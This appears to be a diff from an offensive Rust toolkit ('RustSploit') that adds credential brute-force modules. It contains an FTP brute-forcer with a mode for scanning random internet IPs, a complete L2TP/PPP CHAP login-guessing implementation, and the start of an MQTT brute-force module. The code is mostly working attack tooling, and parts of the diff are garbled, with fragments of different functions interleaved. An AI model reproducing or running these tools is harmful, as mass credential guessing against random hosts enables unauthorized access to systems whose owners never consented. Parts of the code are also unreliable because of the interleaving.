if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let output_file = prompt_default("Output result file", "ftp_brute_mass_results.txt")?;
// Parse exclusions
let mut exclusion_subnets = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
let exclusions = Arc::new(exclusion_subnets);
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((users, pass_lines));
// Stats
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} valid credentials found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
let fname = prompt_default(&prompt_msg, default_name).await?;
let file_path = get_filename_in_current_dir(&fname);
match File::create(&file_path) {
Ok(mut file) => {
writeln!(
file,
"# FTP Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in unknown_guard.iter() {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
if run_random {
// Initialize state file
OpenOptions::new().create(true).write(true).open(STATE_FILE).await?;
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
// File Mode
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
for ip_str in lines {
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
if let Ok(ip) = ip_str.parse::<IpAddr>() {
tokio::spawn(async move {
if !is_ip_checked(&ip).await {
mark_ip_checked(&ip).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
println!("[+] Unknown responses saved to '{}'", file_path.display());
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
} else {
drop(permit);
}
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, Vec<String>)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
verbose: bool
) {
let sa = SocketAddr::new(ip, port);
// 1. Connection Check
if timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
return;
}
let (users, passes) = &*creds;
// 2. Iterative Bruteforce
// Sequential try to avoid blasting the server
let addr_str = format!("{}:{}", ip, port);
for user in users {
for pass in passes {
let res = try_ftp_login(&addr_str, &ip.to_string(), user, pass, verbose).await;
match res {
Ok(true) => {
// Format: IP:PORT:USER:PASS
let msg = format!("{}:{}:{}:{}", ip, port, user, pass);
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop after first success
}
Ok(false) => { // Auth failed
}
Err(e) => {
eprintln!(
"[!] Could not create or write unknown response file '{}': {}",
file_path.display(),
e
);
// If conn refused/timeout, likely dead or blocked, abort this host
let err = e.to_string().to_lowercase();
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
return;
}
}
}
}
}
Ok(())
}
/// Try login using address string and fallback to FTPS if needed
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
// Attempt 1: Plain FTP
if verbose {
println!("[i] Connecting to {} (plain FTP)", addr);
//println!("[i] Connecting to {} (plain FTP)", addr);
}
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(addr)).await {
@@ -433,17 +561,13 @@ async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose
return Ok(false);
}
FtpErrorType::TlsRequired => {
if verbose { println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr); }
// Proceed to FTPS attempt
}
FtpErrorType::ConnectionLimitExceeded => {
println!("[-] {} - Server reported too many connections. Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
sleep(Duration::from_secs(1)).await;
return Ok(false); // Treat as soft fail
}
_ => {
if verbose {
println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
return Err(anyhow!("FTP login error: {}", msg));
}
}
@@ -451,81 +575,35 @@ async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose
}
}
Ok(Err(e)) => {
let msg = e.to_string();
match FtpErrorType::classify_error(&msg) {
FtpErrorType::TlsRequired => {
if verbose { println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr); }
}
FtpErrorType::ConnectionLimitExceeded => {
println!("[-] {} - Server reported too many connections during connect. Sleeping briefly...", addr);
sleep(Duration::from_secs(2)).await;
return Ok(false);
}
FtpErrorType::ConnectionFailed => {
if verbose {
println!("[!] FTP connection failed to {} ({}:{}): {}", addr, user, pass, msg);
}
return Err(anyhow!("FTP connection failed: {}", msg));
}
_ => {
if verbose {
println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
return Err(anyhow!("FTP connection error: {}", msg));
}
}
// Connection level error
return Err(e.into());
}
Err(_) => {
if verbose {
println!("[!] FTP connection timeout to {} ({}:{})", addr, user, pass);
}
return Err(anyhow!("FTP connection timeout"));
return Err(anyhow!("Timeout"));
}
}
// FTPS fallback: connect and upgrade to TLS
if verbose {
println!("[i] {} Attempting FTPS login for user '{}'", addr, user);
}
// FTPS fallback logic (retained but lightweight for mass scan? maybe skip for mass scan unless configured?)
// For now, reuse it as it makes the check robust.
// FTPS attempts ... (simulated reuse of original logic below)
let mut ftp_tls = match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr)).await {
Ok(Ok(s)) => s,
_ => return Err(anyhow!("FTPS Connect failed")),
};
let mut ftp_tls = timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr))
.await
.map_err(|_| {
if verbose {
println!("[!] FTPS connection timeout to {} ({}:{})", addr, user, pass);
}
anyhow!("FTPS connection timeout")
})?
.map_err(|e| {
if verbose {
println!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
}
anyhow!("FTPS base connect failed: {}", e)
})?;
// Build a connector that accepts invalid certs/hostnames (as original code did)
let connector = AsyncNativeTlsConnector::from(
TlsConnector::new()
.danger_accept_invalid_certs(true)
.danger_accept_invalid_hostnames(true),
);
let domain = target.trim_start_matches('[').split(&[']', ':'][..]).next().unwrap_or(target);
// Domain for TLS: extract clean hostname without brackets (IPv6) or port
let domain = target
.trim_start_matches('[')
.split(&[']', ':'][..])
.next()
.unwrap_or(target);
ftp_tls = ftp_tls
.into_secure(connector, domain)
.await
.map_err(|e| {
if verbose {
println!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
}
anyhow!("TLS upgrade failed: {}", e)
})?;
ftp_tls = match ftp_tls.into_secure(connector, domain).await {
Ok(s) => s,
Err(e) => return Err(anyhow!("TLS Upgrade: {}", e)),
};
match ftp_tls.login(user, pass).await {
Ok(_) => {
@@ -533,16 +611,50 @@ async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose
Ok(true)
}
Err(e) => {
let msg = e.to_string();
match FtpErrorType::classify_error(&msg) {
match FtpErrorType::classify_error(&e.to_string()) {
FtpErrorType::AuthenticationFailed => Ok(false),
_ => {
if verbose {
println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
}
Err(anyhow!("FTPS error: {}", msg))
}
}
_ => Err(anyhow!("FTPS Error: {}", e)),
}
}
}
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded { return ip_addr; }
}
}
async fn is_ip_checked(ip: &impl ToString) -> bool {
if !std::path::Path::new(STATE_FILE).exists() {
return false;
}
let ip_s = ip.to_string();
let status = Command::new("grep")
.arg("-F")
.arg("-q")
.arg(format!("checked: {}", ip_s))
.arg(STATE_FILE)
.stderr(std::process::Stdio::null())
.status()
.await;
match status { Ok(s) => s.success(), Err(_) => false }
}
async fn mark_ip_checked(ip: &impl ToString) {
let data = format!("checked: {}\n", ip.to_string());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(STATE_FILE).await {
let _ = file.write_all(data.as_bytes()).await;
}
}
@@ -0,0 +1,623 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::Write,
net::UdpSocket,
sync::Arc,
sync::atomic::{AtomicBool, Ordering},
time::Duration,
};
use tokio::sync::{Mutex, Semaphore};
use tokio::time::sleep;
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_default, prompt_int_range,
load_lines, normalize_target, get_filename_in_current_dir, prompt_port,
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
const DEFAULT_TIMEOUT_MS: u64 = 5000;
// L2TP Message Types
const L2TP_SCCRQ: u16 = 1; // Start-Control-Connection-Request
const L2TP_SCCRP: u16 = 2; // Start-Control-Connection-Reply
const L2TP_SCCCN: u16 = 3; // Start-Control-Connection-Connected
const L2TP_ICRQ: u16 = 10; // Incoming-Call-Request
const L2TP_ICRP: u16 = 11; // Incoming-Call-Reply
const L2TP_ICCN: u16 = 12; // Incoming-Call-Connected
// PPP Protocol IDs
const PPP_CHAP: u16 = 0xC223;
// CHAP Codes
const CHAP_CHALLENGE: u8 = 1;
const CHAP_RESPONSE: u8 = 2;
const CHAP_SUCCESS: u8 = 3;
const CHAP_FAILURE: u8 = 4;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ L2TP/PPP Brute Force Module ║".cyan());
println!("{}", "║ Native L2TP/CHAP Implementation ║".cyan());
println!("{}", "║ Tests against L2TP servers using CHAP authentication ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// L2TP Session state
struct L2tpSession {
sock: UdpSocket,
local_tunnel_id: u16,
remote_tunnel_id: u16,
local_session_id: u16,
remote_session_id: u16,
ns: u16, // Next sequence to send
nr: u16, // Next sequence expected
}
impl L2tpSession {
fn new(sock: UdpSocket) -> Self {
Self {
sock,
local_tunnel_id: rand::random::<u16>() | 1,
remote_tunnel_id: 0,
local_session_id: rand::random::<u16>() | 1,
remote_session_id: 0,
ns: 0,
nr: 0,
}
}
/// Build L2TP control message
fn build_control(&mut self, avps: &[u8]) -> Vec<u8> {
// Flags: T=1 (control), L=1 (length), S=1 (sequence)
let flags: u16 = 0xC802;
let length = 12 + avps.len() as u16;
let mut pkt = Vec::with_capacity(length as usize);
pkt.extend_from_slice(&flags.to_be_bytes());
pkt.extend_from_slice(&length.to_be_bytes());
pkt.extend_from_slice(&self.remote_tunnel_id.to_be_bytes());
pkt.extend_from_slice(&0u16.to_be_bytes()); // Session 0 for control
pkt.extend_from_slice(&self.ns.to_be_bytes());
pkt.extend_from_slice(&self.nr.to_be_bytes());
pkt.extend_from_slice(avps);
self.ns = self.ns.wrapping_add(1);
pkt
}
/// Build L2TP data message
fn build_data(&self, payload: &[u8]) -> Vec<u8> {
let flags: u16 = 0x0002; // Data message
let mut pkt = Vec::with_capacity(6 + payload.len());
pkt.extend_from_slice(&flags.to_be_bytes());
pkt.extend_from_slice(&self.remote_tunnel_id.to_be_bytes());
pkt.extend_from_slice(&self.remote_session_id.to_be_bytes());
pkt.extend_from_slice(payload);
pkt
}
/// Build AVP (Attribute-Value Pair)
fn build_avp(attr_type: u16, value: &[u8], mandatory: bool) -> Vec<u8> {
let flags = if mandatory { 0x8000 } else { 0 } | (6 + value.len() as u16);
let mut avp = Vec::with_capacity(6 + value.len());
avp.extend_from_slice(&flags.to_be_bytes());
avp.extend_from_slice(&0u16.to_be_bytes()); // Vendor ID = 0
avp.extend_from_slice(&attr_type.to_be_bytes());
avp.extend_from_slice(value);
avp
}
/// Send SCCRQ (Start-Control-Connection-Request)
fn send_sccrq(&mut self) -> Result<()> {
let mut avps = Vec::new();
// Message Type = SCCRQ
avps.extend(Self::build_avp(0, &L2TP_SCCRQ.to_be_bytes(), true));
// Protocol Version = 1.0
avps.extend(Self::build_avp(2, &[0x01, 0x00], true));
// Host Name
avps.extend(Self::build_avp(3, b"RustSploit-L2TP", true));
// Assigned Tunnel ID
avps.extend(Self::build_avp(9, &self.local_tunnel_id.to_be_bytes(), true));
// Receive Window Size
avps.extend(Self::build_avp(10, &1500u16.to_be_bytes(), true));
let pkt = self.build_control(&avps);
self.sock.send(&pkt)?;
Ok(())
}
/// Send SCCCN (Start-Control-Connection-Connected)
fn send_scccn(&mut self) -> Result<()> {
let mut avps = Vec::new();
avps.extend(Self::build_avp(0, &L2TP_SCCCN.to_be_bytes(), true));
let pkt = self.build_control(&avps);
self.sock.send(&pkt)?;
Ok(())
}
/// Send ICRQ (Incoming-Call-Request)
fn send_icrq(&mut self) -> Result<()> {
let mut avps = Vec::new();
avps.extend(Self::build_avp(0, &L2TP_ICRQ.to_be_bytes(), true));
avps.extend(Self::build_avp(14, &self.local_session_id.to_be_bytes(), true));
avps.extend(Self::build_avp(15, &rand::random::<u32>().to_be_bytes(), true)); // Call Serial Number
let pkt = self.build_control(&avps);
self.sock.send(&pkt)?;
Ok(())
}
/// Send ICCN (Incoming-Call-Connected)
fn send_iccn(&mut self) -> Result<()> {
let mut avps = Vec::new();
avps.extend(Self::build_avp(0, &L2TP_ICCN.to_be_bytes(), true));
avps.extend(Self::build_avp(24, &1000000u32.to_be_bytes(), true)); // Tx Connect Speed
avps.extend(Self::build_avp(19, &0u32.to_be_bytes(), true)); // Framing Type
let pkt = self.build_control(&avps);
self.sock.send(&pkt)?;
Ok(())
}
/// Send CHAP Response
fn send_chap_response(&self, identifier: u8, challenge: &[u8], username: &str, password: &str) -> Result<()> {
// Compute CHAP hash: MD5(identifier + password + challenge)
let mut data = Vec::with_capacity(1 + password.len() + challenge.len());
data.push(identifier);
data.extend_from_slice(password.as_bytes());
data.extend_from_slice(challenge);
let hash = md5::compute(&data);
// Build CHAP Response packet
let name_bytes = username.as_bytes();
let length: u16 = 4 + 1 + 16 + name_bytes.len() as u16;
let mut chap = Vec::new();
chap.push(CHAP_RESPONSE);
chap.push(identifier);
chap.extend_from_slice(&length.to_be_bytes());
chap.push(16); // Value size (MD5 = 16 bytes)
chap.extend_from_slice(&hash.0);
chap.extend_from_slice(name_bytes);
// Wrap in PPP frame
let mut ppp = Vec::new();
ppp.extend_from_slice(&[0xFF, 0x03]); // Address + Control
ppp.extend_from_slice(&PPP_CHAP.to_be_bytes());
ppp.extend_from_slice(&chap);
let pkt = self.build_data(&ppp);
self.sock.send(&pkt)?;
Ok(())
}
/// Receive and parse L2TP packet
fn recv_packet(&self, timeout: Duration) -> Result<L2tpPacket> {
self.sock.set_read_timeout(Some(timeout))?;
let mut buf = [0u8; 4096];
let n = self.sock.recv(&mut buf)?;
if n < 6 {
return Err(anyhow!("Packet too short"));
}
let flags = u16::from_be_bytes([buf[0], buf[1]]);
let is_control = (flags & 0x8000) != 0;
let has_length = (flags & 0x4000) != 0;
let has_sequence = (flags & 0x0800) != 0;
let mut offset = 2;
if has_length {
offset += 2;
}
let tunnel_id = u16::from_be_bytes([buf[offset], buf[offset + 1]]);
offset += 2;
let session_id = u16::from_be_bytes([buf[offset], buf[offset + 1]]);
offset += 2;
if has_sequence {
offset += 4; // Ns + Nr
}
let payload = buf[offset..n].to_vec();
Ok(L2tpPacket {
is_control,
tunnel_id,
session_id,
payload,
})
}
/// Parse control message type from AVPs
fn parse_message_type(payload: &[u8]) -> Option<u16> {
let mut offset = 0;
while offset + 6 <= payload.len() {
let avp_flags = u16::from_be_bytes([payload[offset], payload[offset + 1]]);
let avp_len = (avp_flags & 0x03FF) as usize;
if offset + avp_len > payload.len() {
break;
}
let vendor_id = u16::from_be_bytes([payload[offset + 2], payload[offset + 3]]);
let attr_type = u16::from_be_bytes([payload[offset + 4], payload[offset + 5]]);
if vendor_id == 0 && attr_type == 0 && avp_len >= 8 {
return Some(u16::from_be_bytes([payload[offset + 6], payload[offset + 7]]));
}
offset += avp_len;
}
None
}
/// Parse assigned tunnel/session ID from AVPs
fn parse_assigned_id(payload: &[u8], attr_type: u16) -> Option<u16> {
let mut offset = 0;
while offset + 6 <= payload.len() {
let avp_flags = u16::from_be_bytes([payload[offset], payload[offset + 1]]);
let avp_len = (avp_flags & 0x03FF) as usize;
if offset + avp_len > payload.len() {
break;
}
let vendor_id = u16::from_be_bytes([payload[offset + 2], payload[offset + 3]]);
let avp_type = u16::from_be_bytes([payload[offset + 4], payload[offset + 5]]);
if vendor_id == 0 && avp_type == attr_type && avp_len >= 8 {
return Some(u16::from_be_bytes([payload[offset + 6], payload[offset + 7]]));
}
offset += avp_len;
}
None
}
}
#[allow(dead_code)]
struct L2tpPacket {
is_control: bool,
tunnel_id: u16,
session_id: u16,
payload: Vec<u8>,
}
/// Main L2TP bruteforce entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let normalized = normalize_target(target)?;
let port: u16 = prompt_port("L2TP Port", 1701)?;
let usernames_file = prompt_existing_file("Username wordlist")?;
let passwords_file = prompt_existing_file("Password wordlist")?;
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 100)? as usize;
let timeout_ms = prompt_int_range("Connection timeout (ms)", DEFAULT_TIMEOUT_MS as i64, 100, 30000)? as u64;
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file name", "l2tp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
let addr = format!("{}:{}", normalized, port);
let users = load_lines(&usernames_file)?;
if users.is_empty() {
return Err(anyhow!("Username wordlist is empty"));
}
println!("[*] Loaded {} usernames", users.len());
let passwords = load_lines(&passwords_file)?;
if passwords.is_empty() {
return Err(anyhow!("Password wordlist is empty"));
}
println!("[*] Loaded {} passwords", passwords.len());
let total_attempts = if combo_mode {
users.len() * passwords.len()
} else {
std::cmp::max(users.len(), passwords.len())
};
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
// Test connectivity first
println!("\n[*] Testing L2TP server connectivity...");
match test_l2tp_connectivity(&addr, Duration::from_millis(timeout_ms)).await {
Ok(true) => println!("[+] L2TP server is responding"),
Ok(false) => println!("{}", "[!] L2TP server not responding to control messages".yellow()),
Err(e) => println!("{}", format!("[!] Connectivity test failed: {}", e).yellow()),
}
println!("\n{}", "[Starting Attack]".bold().yellow());
println!();
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
let timeout_duration = Duration::from_millis(timeout_ms);
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_signal.clone();
let progress_handle = tokio::spawn(async move {
while !stop_clone.load(Ordering::Relaxed) {
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
stats_clone.print_progress();
}
});
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut tasks = FuturesUnordered::new();
// Generate credential combinations
let combos: Vec<(String, String)> = if combo_mode {
users.iter()
.flat_map(|u| passwords.iter().map(move |p| (u.clone(), p.clone())))
.collect()
} else {
let max_len = std::cmp::max(users.len(), passwords.len());
(0..max_len)
.map(|i| (users[i % users.len()].clone(), passwords[i % passwords.len()].clone()))
.collect()
};
for (user, pass) in combos {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => break,
};
let addr_clone = addr.clone();
let found_clone = found_credentials.clone();
let stop_clone = stop_signal.clone();
let stats_clone = stats.clone();
tasks.push(tokio::spawn(async move {
let _permit = permit;
if stop_on_success && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_l2tp_login(&addr_clone, &user, &pass, timeout_duration).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user, pass).green().bold());
found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass.clone()));
stats_clone.record_success();
if stop_on_success {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_failure();
if verbose {
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user, pass).dimmed());
}
}
Err(e) => {
stats_clone.record_error(e.to_string()).await;
if verbose {
println!("\r{}", format!("[!] {}: {}", addr_clone, e).red());
}
}
}
}));
// Drain completed tasks periodically
while tasks.len() >= concurrency * 2 {
if let Some(_) = tasks.next().await {}
}
}
// Wait for remaining tasks
while let Some(_) = tasks.next().await {}
stop_signal.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
stats.print_final().await;
// Save results
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host_addr, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host_addr, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
if let Ok(mut file) = File::create(&filename) {
for (host_addr, user, pass) in creds.iter() {
let _ = writeln!(file, "{} -> {}:{}", host_addr, user, pass);
}
println!("[+] Results saved to '{}'", filename.display());
}
}
}
Ok(())
}
/// Test L2TP server connectivity
async fn test_l2tp_connectivity(addr: &str, timeout: Duration) -> Result<bool> {
let result = tokio::task::spawn_blocking({
let addr = addr.to_string();
move || -> Result<bool> {
let sock = UdpSocket::bind("0.0.0.0:0")?;
sock.connect(&addr)?;
sock.set_read_timeout(Some(timeout))?;
sock.set_write_timeout(Some(timeout))?;
let mut session = L2tpSession::new(sock);
session.send_sccrq()?;
match session.recv_packet(timeout) {
Ok(pkt) => {
if pkt.is_control {
if let Some(msg_type) = L2tpSession::parse_message_type(&pkt.payload) {
return Ok(msg_type == L2TP_SCCRP);
}
}
Ok(false)
}
Err(_) => Ok(false),
}
}
}).await?;
result
}
/// Attempt L2TP login with credentials
async fn try_l2tp_login(addr: &str, username: &str, password: &str, timeout: Duration) -> Result<bool> {
let addr = addr.to_string();
let username = username.to_string();
let password = password.to_string();
tokio::task::spawn_blocking(move || {
try_l2tp_login_sync(&addr, &username, &password, timeout)
}).await?
}
/// Synchronous L2TP login attempt
fn try_l2tp_login_sync(addr: &str, username: &str, password: &str, timeout: Duration) -> Result<bool> {
let sock = UdpSocket::bind("0.0.0.0:0")?;
sock.connect(addr)?;
sock.set_read_timeout(Some(timeout))?;
sock.set_write_timeout(Some(timeout))?;
let mut session = L2tpSession::new(sock);
// Step 1: Send SCCRQ
session.send_sccrq()?;
// Step 2: Receive SCCRP
let pkt = session.recv_packet(timeout)?;
if !pkt.is_control {
return Err(anyhow!("Expected control message, got data"));
}
match L2tpSession::parse_message_type(&pkt.payload) {
Some(L2TP_SCCRP) => {
if let Some(tid) = L2tpSession::parse_assigned_id(&pkt.payload, 9) {
session.remote_tunnel_id = tid;
}
session.nr += 1;
}
Some(other) => return Err(anyhow!("Expected SCCRP, got message type {}", other)),
None => return Err(anyhow!("No message type in response")),
}
// Step 3: Send SCCCN
session.send_scccn()?;
// Step 4: Send ICRQ
session.send_icrq()?;
// Step 5: Receive ICRP
let pkt = session.recv_packet(timeout)?;
if pkt.is_control {
if let Some(L2TP_ICRP) = L2tpSession::parse_message_type(&pkt.payload) {
if let Some(sid) = L2tpSession::parse_assigned_id(&pkt.payload, 14) {
session.remote_session_id = sid;
}
session.nr += 1;
}
}
// Step 6: Send ICCN
session.send_iccn()?;
// Step 7: Wait for CHAP Challenge
let mut challenge_data: Option<(u8, Vec<u8>)> = None;
for _ in 0..5 {
match session.recv_packet(timeout) {
Ok(pkt) => {
if !pkt.is_control && pkt.payload.len() > 6 {
// Check for PPP CHAP
let mut offset = 0;
if pkt.payload[0] == 0xFF && pkt.payload[1] == 0x03 {
offset = 2;
}
if pkt.payload.len() > offset + 4 {
let protocol = u16::from_be_bytes([pkt.payload[offset], pkt.payload[offset + 1]]);
if protocol == PPP_CHAP {
let chap_code = pkt.payload[offset + 2];
if chap_code == CHAP_CHALLENGE {
let identifier = pkt.payload[offset + 3];
let value_size = pkt.payload[offset + 6] as usize;
if pkt.payload.len() >= offset + 7 + value_size {
let challenge = pkt.payload[offset + 7..offset + 7 + value_size].to_vec();
challenge_data = Some((identifier, challenge));
break;
}
}
}
}
}
}
Err(_) => break,
}
}
let (identifier, challenge) = challenge_data.ok_or_else(|| anyhow!("No CHAP challenge received"))?;
// Step 8: Send CHAP Response
session.send_chap_response(identifier, &challenge, username, password)?;
// Step 9: Wait for CHAP Success/Failure
for _ in 0..5 {
match session.recv_packet(timeout) {
Ok(pkt) => {
if !pkt.is_control && pkt.payload.len() > 4 {
let mut offset = 0;
if pkt.payload[0] == 0xFF && pkt.payload[1] == 0x03 {
offset = 2;
}
if pkt.payload.len() > offset + 2 {
let protocol = u16::from_be_bytes([pkt.payload[offset], pkt.payload[offset + 1]]);
if protocol == PPP_CHAP {
let chap_code = pkt.payload[offset + 2];
match chap_code {
CHAP_SUCCESS => return Ok(true),
CHAP_FAILURE => return Ok(false),
_ => continue,
}
}
}
}
}
Err(_) => break,
}
}
Err(anyhow!("No CHAP response received"))
}
@@ -7,7 +7,7 @@
pub mod ssh_bruteforce;
pub mod ssh_user_enum;
pub mod ssh_spray;
pub mod rtsp_bruteforce_advanced;
pub mod rtsp_bruteforce;
pub mod rdp_bruteforce;
pub mod enablebruteforce;
pub mod smtp_bruteforce;
@@ -0,0 +1,563 @@
//! MQTT Brute Force Module
//!
//! High-performance MQTT authentication testing with:
//! - TLS/SSL support (port 8883)
//! - Anonymous authentication detection
//! - Intelligent error classification
//! - Progress tracking and statistics
//! - Multiple attack modes (full combo, linear, single user/pass)
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use std::sync::Arc;
use std::time::Duration;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::sync::{Mutex, Semaphore};
use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range, prompt_default,
load_lines, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
// ============================================================================
// Constants
// ============================================================================
const MQTT_CONNECT_TIMEOUT_MS: u64 = 5000;
const MQTT_READ_TIMEOUT_MS: u64 = 3000;
const PROGRESS_INTERVAL_SECS: u64 = 2;
// MQTT Protocol Constants
const MQTT_PACKET_CONNECT: u8 = 0x10;
const MQTT_PACKET_CONNACK: u8 = 0x20;
const MQTT_PACKET_DISCONNECT: u8 = 0xE0;
const MQTT_PROTOCOL_NAME: &[u8] = b"MQTT";
const MQTT_PROTOCOL_LEVEL_V311: u8 = 0x04;
// MQTT Connect Flags
const MQTT_FLAG_CLEAN_SESSION: u8 = 0x02;
const MQTT_FLAG_USERNAME: u8 = 0x80;
const MQTT_FLAG_PASSWORD: u8 = 0x40;
// MQTT Return Codes
#[derive(Debug, Clone, Copy, PartialEq)]
enum MqttReturnCode {
Accepted,
UnacceptableProtocol,
IdentifierRejected,
ServerUnavailable,
BadCredentials,
NotAuthorized,
Unknown(u8),
}
impl MqttReturnCode {
fn from_byte(b: u8) -> Self {
match b {
0x00 => Self::Accepted,
0x01 => Self::UnacceptableProtocol,
0x02 => Self::IdentifierRejected,
0x03 => Self::ServerUnavailable,
0x04 => Self::BadCredentials,
0x05 => Self::NotAuthorized,
_ => Self::Unknown(b),
}
}
fn is_auth_failure(&self) -> bool {
matches!(self, Self::BadCredentials | Self::NotAuthorized)
}
fn description(&self) -> &'static str {
match self {
Self::Accepted => "Connection Accepted",
Self::UnacceptableProtocol => "Unacceptable Protocol Version",
Self::IdentifierRejected => "Identifier Rejected",
Self::ServerUnavailable => "Server Unavailable",
Self::BadCredentials => "Bad Username or Password",
Self::NotAuthorized => "Not Authorized",
Self::Unknown(_) => "Unknown Return Code",
}
}
}
// ============================================================================
// Configuration
// ============================================================================
#[derive(Clone)]
struct MqttConfig {
target: String,
port: u16,
use_tls: bool,
threads: usize,
